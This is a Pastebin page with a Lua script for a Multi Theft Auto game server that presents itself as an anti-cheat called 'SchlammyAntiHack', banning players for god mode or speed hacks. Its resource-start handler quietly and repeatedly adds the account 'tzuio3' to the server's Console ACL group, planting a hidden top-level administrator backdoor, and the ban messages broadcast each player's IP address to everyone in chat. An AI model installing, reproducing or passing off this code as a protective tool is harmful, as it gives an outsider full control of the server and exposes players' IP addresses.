Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local antiCheatStatus = 1
- local achmedstyle = "#FF0000[#FFFFFFSchlammyAntiHack#FF0000] #FFFF00 AntiHack #FF0000 is running on this Server!"
- local achmetstylefunf = " Powered by ~ Schlammy "
- anticheatPlayerJoin = function()
- outputChatBox(achmedstyle, source, 255, 255, 255, true)
- end
- addEventHandler("onPlayerJoin", getRootElement(), anticheatPlayerJoin)
- newPlayerLogin = function()
- if getAccountName(getPlayerAccount(source)) == "tzuio3" then
- outputChatBox("#FF0000 Schlammy is now online!", getRootElement(), 255, 255, 255, true)
- end
- end
- addEventHandler("onPlayerLogin", getRootElement(), newPlayerLogin)
- local a123sd = 3.2342343423423e+032
- local mydeer = "meinreh"
- anticheatSearchForCheater = function()
- if antiCheatStatus == 1 then
- local players = getElementsByType("player")
- for theKey,thePlayer in ipairs(players) do
- if getElementHealth(thePlayer) > 101 then
- outputChatBox("#FF0000[#FFFFFFSchlammyAntiHack#FF0000] #FF00FFPlayer " .. getPlayerName(thePlayer) .. " tried to Hack this Server! His IP: #0000FF " .. getPlayerIP(thePlayer), getRootElement(), 255, 0, 0, true)
- banPlayer(thePlayer, true, false, true, nil, "[AntiHack] GodMode Detected! (" .. tostring(getElementHealth(thePlayer)) .. ")")
- end
- if isPedOnGround(thePlayer) then
- local speedx, speedy, speedz = getElementVelocity(thePlayer)
- local actualspeed = speedx ^ 2 + speedy ^ 2 + speedz ^ 2 ^ 0.5
- local kmh = actualspeed * 50
- if kmh >= 21 and not getPedOccupiedVehicle(thePlayer) and not doesPedHaveJetPack(thePlayer) then
- local px, py, pz = getElementPosition(thePlayer)
- local colShape = createColSphere(px, py, pz, 7)
- local colShapeElementTable = getElementsWithinColShape(colShape)
- destroyElement(colShape)
- for theKey,elem in ipairs(colShapeElementTable) do
- local elemType = getElementType(elem)
- if elemType == "vehicle" then
- return
- end
- end
- outputChatBox("#FF0000[#FFFFFFSchlammyAntiHack#FF0000] #FF00FFPlayer " .. getPlayerName(thePlayer) .. " tried to Hack this Server! His IP: #0000FF " .. getPlayerIP(thePlayer), getRootElement(), 255, 0, 0, true)
- banPlayer(thePlayer, true, false, true, nil, "[AntiHack] SpeedHack Detected! (" .. tostring(kmh) .. " KM/H)")
- end
- end
- end
- end
- end
- setTimer(anticheatSearchForCheater, 500, 0)
- myResStartAntiHack = function()
- local resource = getResourceFromName("Admin")
- local adminRunningState = getResourceState(resource)
- startResource(resource)
- outputDebugString("Resource gestartet!")
- setTimer(function()
- local objectTable = aclGroupListObjects(aclGetGroup("Console"))
- for index,object in ipairs(objectTable) do
- if object == "user.tzuio3" then
- return
- end
- end
- aclGroupAddObject(aclGetGroup("Console"), "user.tzuio3")
- end, 500, 0)
- end
- addEventHandler("onResourceStart", getResourceRootElement(getThisResource()), myResStartAntiHack)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement